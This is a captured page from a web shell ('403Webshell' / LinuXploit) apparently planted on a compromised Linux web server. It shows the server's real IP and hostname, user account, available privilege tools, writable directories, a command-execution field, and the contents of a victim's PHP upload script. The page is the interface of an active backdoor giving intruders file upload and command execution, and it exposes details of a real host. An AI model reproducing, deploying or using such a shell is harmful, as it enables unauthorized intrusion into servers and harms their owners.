403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.22.248.193
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/junk/ajax_up/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/junk/ajax_up/upload.php
<?

echo "kiss ma ass";

if($_POST['submit']){

////-- FILE EXTENSION
$allowed_ext = array('pdf');
$file_extension = strtolower(end(explode('.', $_FILES["filename"]['name'])));


///-- FILE NAMES
$whatever = "myfile-".time();
$myfilename = $whatever.'.'.$file_extension; // file name with file extension
$file_directory="papers/".$myfilename; // which directory to save the file - with file name e.g papers/rightbiz.pdf

///-- ERROR CHECK
$errors=array();
if (in_array($file_extension, $allowed_ext) === false) {$errors[] = '<div class="error_list">- Your file must be \'PDF\' file format. Other file types are not allowed.</div>';}
if ($_FILES["filename"]["error"] > 0){$errors[] = "Return Code: " . $_FILES["filename"]["error"];}
if (file_exists("papers/" . $_FILES["filename"]["name"])){$errors[] = $_FILES["filename"]["name"] . " already exists. ";}

if(empty($errors)){
	move_uploaded_file($_FILES["filename"]["tmp_name"],$file_directory); // moving the file into the directory		
	echo 'Successfully added your paper called: <b>'.$myfilename.'</b>!';
}else{
	foreach($errors as $error){
		echo $error;
	}
}

}



?>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>New Page 1</title>
</head>

<body>
<form id="main_form" name="main_form" method="POST" enctype="multipart/form-data" action="upload.php">

<input type="file" name="filename" size="20">
<input type="submit" value="Submit" name="submit">

</form>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit